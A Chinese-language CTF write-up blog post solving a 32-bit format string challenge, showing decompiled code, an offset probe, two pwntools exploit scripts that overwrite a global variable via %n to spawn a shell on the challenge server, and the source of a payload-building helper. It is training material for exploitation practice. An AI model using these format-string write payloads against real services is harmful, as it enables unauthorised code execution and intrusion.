XCTF-实时数据检测-WP

比较经典的一道格式化字符串漏洞的题目,难度不大,l0tus在这里提供两种做法

Posted by l0tus on 2022-09-12
Estimated Reading Time 2 Minutes
Words 487 In Total
Viewed Times

经典做法

下载附件拖进ida之后看到明显的逻辑,不过这题是32位的

1
2
3
4
5
6
7
8
9
10
11
int locker()
{
char s[520]; // [esp+0h] [ebp-208h] BYREF

fgets(s, 512, stdin);
imagemagic(s);
if ( key == 35795746 )
return system("/bin/sh");
else
return printf(format, &key, key);
}

这道题没有开启地址随机化保护,key的地址每次运行都相同。
明显我们需要做的就是将key的值改写成35795746,也就是16进制的0x02223322

当然通过我们aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p的测试,可以得知偏移为12
运行附件随便输入个文本会回显

1
“The location of key is 0804a048, and its value is 00000000,not the0x02223322. (╯°Д°)╯︵┻━┻”

可爱捏
那么构造的payload就比较简单了如下:
exp

1
2
3
4
5
6
7
from pwn import *
p=remote("61.147.171.105",65328)
context(arch='i386',os='linux',log_level='debug')
key_addr=0x0804A048
payload=p32(key_addr)+b'%35795742c%12$n'
p.sendline(payload)
p.interactive()

这里要传输三千多万个字符,所以跑起来可能需要20秒左右等待时间,耐心等待就可以cat flag啦


pwntools秒杀法

l0在某知名技术网站学习的时候偶然看到pwntools中一个强大的功能,fmtstr_payload()
先上exp看看

1
2
3
4
from pwn import *
p=remote("61.147.171.105",65328)
p.sendline(fmtstr_payload(12,{0x0804a048:0x02223322}))
p.interactive()

l0tus深感震惊,不多说什么了,这里直接放用法:fmtstr_payload(偏移,{原地址:目的地址})
感兴趣的佬可以看看这个函数的源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
return fmtstr


def fmt_str(offset, size, addr, target):
payload = ""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload)
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
prev = (target >> i * 8) & 0xff
return payload


如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !